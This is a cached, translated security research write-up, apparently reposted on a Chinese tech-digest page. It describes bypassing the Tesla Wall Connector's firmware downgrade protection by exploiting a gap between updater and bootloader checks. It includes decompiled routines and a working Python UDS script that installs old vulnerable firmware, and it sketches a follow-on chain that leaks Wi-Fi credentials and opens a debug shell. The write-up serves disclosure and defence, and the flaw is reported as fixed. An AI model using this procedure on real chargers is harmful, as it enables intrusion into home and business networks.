Tesla Wall Connector 引导程序绕过固件降级棘轮

Hacker News Top 论文

摘要

本文详细介绍了研究人员如何绕过 Tesla Wall Connector 引导程序中的固件降级保护,从而能够在存在安全棘轮的情况下安装旧版固件。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/05/14 21:27

# 从充电接口利用特斯拉壁挂式充电器 - 来源:https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2-bypassing ## 更新流程快速回顾 我们在第一篇文章(https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector)中描述了通过单线 CAN 的完整更新流程。简而言之: 1. 打开 UDS 会话(类型 `2`)。 2. 使用安全访问(等级 `5`,XOR-`0x35` 算法)进行身份验证。 3. 运行例程 `0xFF00` 来准备并擦除被动插槽。 4. 向标识符 `0x102` 写入 `0x0E`,将插槽标记为“可通过 UDS 设置”。 5. 使用 `Request Download` / `Transfer Data` / `Request Transfer Exit` 推送固件。 6. 运行例程 `0x201` 验证刚写入的镜像并切换插槽。 7. 运行例程 `0x202` 重新启动。 提醒一下,AW-CU300 使用两个固件插槽:一个**活动**(当前运行)和一个**被动**(更新目标)。成功更新后,插槽交换,新固件在下次启动时变为活动。 ## 24.44.3 版本的变化 在对比旧固件与版本 `24.44.3` 的差异后,我们重点关注了 `switch_to_new_firmware()`,即处理 UDS 例程 `0x201` 的函数: ```c int switch_to_new_firmware() { ... if ( settable_via_uds != 14 || !passive_firmware ) return 1; if ( passive <= 0 || passive > passive_firmware->size || (v2 = check_signature(passive_firmware->start, passive)) != 0 || !check_image_and_antidowngrade(nullptr) ) { part_erase(flash_drv, passive_firmware->start, 0x14u); v2 = 4; } else { part_write_layout(passive_firmware); } flash_drv_close(flash_drv); passive_firmware = nullptr; return v2; } ``` `check_image_and_antidowngrade()` 是新函数。它解析固件段,重新计算它们的 CRC,然后调用 `verify_firmware_segments_platform()` 进行棘轮比较: ```c int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...) { ... // 遍历段,查找版本描述符 // 段结束于 [0x100000 .. 0x100010] 窗口内。 ... if ( buffer.next != (netif *)'NSRV' /* "VRSN" */ ) goto next_segment; major = LOBYTE(buffer.ip_addr.addr); minor = BYTE1(buffer.ip_addr.addr); if ( buffer.netmask.addr == '2SRV' /* "VRS2" */ && LOBYTE(buffer.gw.addr) > 1u ) firmware_ratchet = BYTE2(buffer.gw.addr); else firmware_ratchet = 0; ... sub_1F04866C(&current_ratchet); // 从 PSM(持久存储)读取棘轮值 if ( current_ratchet <= firmware_ratchet || !call_psm_wrapper(...) ) { return 0; // 接受 } log("Failure: Security ratchet downgrade prevented %d < %d", firmware_ratchet, current_ratchet); return -1; } ``` 版本信息嵌入在固件段中(`VRSN` 表示版本,`VRS2` 表示棘轮),位于加载到 `0x100000` 附近的段中。只有更新程序解析此信息,引导加载器不解析。在设备端,棘轮值存储在 PSM(持久存储管理器)中,当激活更高棘轮镜像时递增。因此,在 `24.44.3` 设备上,发送旧的 `0.8.58` 固件并调用例程 `0x201` 会以以下错误终止: ``` ERROR verify_firmware_segments_platform:145 Failure: Security ratchet downgrade prevented 0 < N ``` 并且插槽会立即被擦除。通过官方路径无法在闪存中保留旧镜像。 ## 引导加载器不关心 `boot2`(在构建产物中如此称呼)位于闪存的固定地址,并且**不是**特斯拉发布的任何固件更新的一部分。我们必须从之前通过 Pwn2Own 漏洞获得 root 权限的充电器中转储闪存以进行分析。它在跳转到活动固件之前确实对其执行了几项检查: - 魔术头(`SBFH`)。 - 每段 CRC32。 - 针对密钥库中的密钥进行 RSA 签名。 但它**没有安全棘轮的概念**。任何具有有效签名和正确 CRC 的固件镜像都会执行,无论其版本如何。`boot2` 和启动 ROM 都没有实现安全启动。因此,防降级仅由一段代码 `switch_to_new_firmware()` 在执行例程 `0x201` 时强制执行。那么:我们能否在不调用例程 `0x201` 的情况下,将旧的、已签名的固件放入**活动**插槽? ## 插槽如何变为活动 例程 `0xFF00` 调用 `prepare_passive_slot()`,该函数根据当前启动标志选择哪个物理插槽是“被动”的,然后将其擦除: ```c int prepare_passive_slot(int a1, int a2, int a3) { partition_entry *f1, *f2; int16_t v7 = 0; if ( part_read_layout(a1, a2, a3) || (f1 = part_get_layout_by_id(1, &v7), f2 = part_get_layout_by_id(1, &v7), !f1) || !f2 ) { passive_firmware = nullptr; __und(0xFFu); } if ( (g_boot_flags & 3) != 0 ) // 我们从插槽 1 启动? f2 = f1; // 那么被动插槽是插槽 0 passive_firmware = f2; ... if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 ) ... return 0; } ``` `part_get_layout_by_id()` 基于迭代器:第一次调用返回 id 为 1 的第一个分区条目,第二次调用返回下一个。根据 `g_boot_flags`,其中一个成为被动。关键点:`g_boot_flags` **在启动时设置,并且永远不会更新**。它反映我们从哪个插槽启动,而不是分区表的当前状态。`part_write_layout()` 进行插槽翻转,但不接触固件数据。它只通过增加每个插槽的世代计数器来重写分区表: ```c int part_write_layout(partition_entry *a1) { ... if ( /* a1 matches f1 */ ) v3->gen_level = v4->gen_level + 1; else if ( /* a1 matches f2 */ ) v4->gen_level = v3->gen_level + 1; else return -23; // 擦除并重写 4KiB 分区表区域 part_erase(v8, partition_table_addr, 0x1000); flash_write(v8, &dword_129B7C, 16); flash_write(v8, byte_1299FC, 24 * word_129B82); flash_write(v8, &checksum, 4); ... } ``` 启动时,引导加载器选择 `gen_level` 最高的插槽。因此,要使一个插槽在下次启动时成为活动,只需对该插槽成功调用一次 `part_write_layout()` 即可。之后它的内容如何并不重要。 ## 绕过方法 回顾一下:例程 `0xFF00` 根据 `g_boot_flags`(会话期间从不更改)擦除物理被动插槽;例程 `0x201` 验证插槽内容并写入分区布局;引导加载器信任分区表而不检查棘轮。基于此: 1. 向被动插槽发送一个**有效的**、最新的固件。调用例程 `0x201`。验证通过;分区布局被写入,因此该插槽现在具有最高的 `gen_level`。 2. 不重启,再次调用例程 `0xFF00`。由于 `g_boot_flags` 未更改,相同的物理插槽被选为**被动**,我们刚刚验证的固件被擦除。分区表不受影响。 3. 向现在空的插槽发送一个**旧的**、已签名但易受攻击的固件。 4. 完全跳过例程 `0x201`(我们不需要它,而且它会拒绝该镜像)。直接调用例程 `0x202` 重启。 重启后,引导加载器读取分区表,选择 `gen_level` 最高的插槽(即我们刚刚覆写的那一个),验证其签名(仍然有效,因为它是正确签名的固件),然后跳转进入。防降级检查从未在旧镜像上运行。 ## 漏洞利用 我们的漏洞利用是 Pwn2Own 汽车模拟器的一个小扩展。单线 CAN 设置、GPIO 序列、UDS 管道:全部不变。只有更新序列被翻倍: ```python with Client(conn, config=uds_config) as client: client.set_config('security_algo', tesla_uds_algo) client.change_session(2) client.unlock_security_access(5) # 1. 推送一个有效的、最新的固件,让例程 0x201 # 为我们写入分区布局。 client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read() send_firmware_data(client, data) client.routine_control(routine_id=0x201, control_type=1) # 写入布局 sleep(1) # 2. 重新准备相同的物理插槽。有效的固件被擦除; # 分区表未被触及。 client.routine_control(routine_id=0xFF00, control_type=1) client.write_data_by_identifier(0x102, 0x0E) data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read() send_firmware_data(client, data) sleep(1) # 3. 重启。引导加载器将启动旧固件,因为 # 分区表仍然说这个插槽是活动插槽。 client.routine_control(routine_id=0x202, control_type=1) ``` 总运行时间大约为 30 分钟(在 33.3 kbps 的 SWCAN 总线上):比原始 Pwn2Own 时间多一倍,因为需要通过电缆发送两个完整的固件镜像。重启后,版本 `0.8.58` 重新掌管,原始攻击链的其余部分(通过 UDS 泄露 Wi-Fi 凭证、telnet 到调试 shell、参数解析器中的缓冲区溢出)与之前完全相同。 ## 结论 由于防降级仅存在于更新程序中,而引导加载器不检查棘轮,任何先提交分区布局然后覆写插槽内容的序列都能绕过它。例程 `0xFF00` 让我们正好做到这一点:在布局写入后擦除固件,然后写入我们想要的任何内容。在引导加载器中强制执行棘轮将弥补这一漏洞。其他选项:让例程 `0xFF00` 在擦除插槽时使分区布局条目无效,这样被擦除然后重写的插槽永远不会被选为可启动。或者强制在成功更新后重启,或者在例程 `0x201` 成功后拒绝任何新的更新会话。 我们向特斯拉报告了此漏洞,它在几个月前的固件更新中已修复。与第一篇文章一样,壁挂式充电器通常位于家庭或企业网络,通过充电电缆被攻陷的充电器将成为该网络内的一个立足点。好的一面是,特斯拉对连接的充电器自动进行 OTA 部署,这意味着修复程序能迅速到达大多数设备,从而缩短了实际暴露窗口。

相似文章

HDD固件破解 第一部分

Lobsters Hottest

作者详细描述了如何通过硬件和软件技术,在没有AI辅助的情况下,对HDD固件进行转储、分析和修改,以实现Xbox 360的延迟利用。

VMC2040安全摄像头的Root操作

Lobsters Hottest

本篇博客文章是系列教程的第一部分,内容涵盖硬件检查、UART发现以及初始Bootloader分析,目标是对Arlo VMC2040安全摄像头进行Root操作。

Microsoft BitLocker – YellowKey零日漏洞利用

Hacker News Top

一名安全研究人员发布了名为YellowKey的零日漏洞利用,可绕过Windows 11和Windows Server 2022/2025上的Microsoft BitLocker加密,通过USB闪存驱动器即可完全访问锁定驱动器;该漏洞似乎以后门的方式运作,使用后相关文件会消失。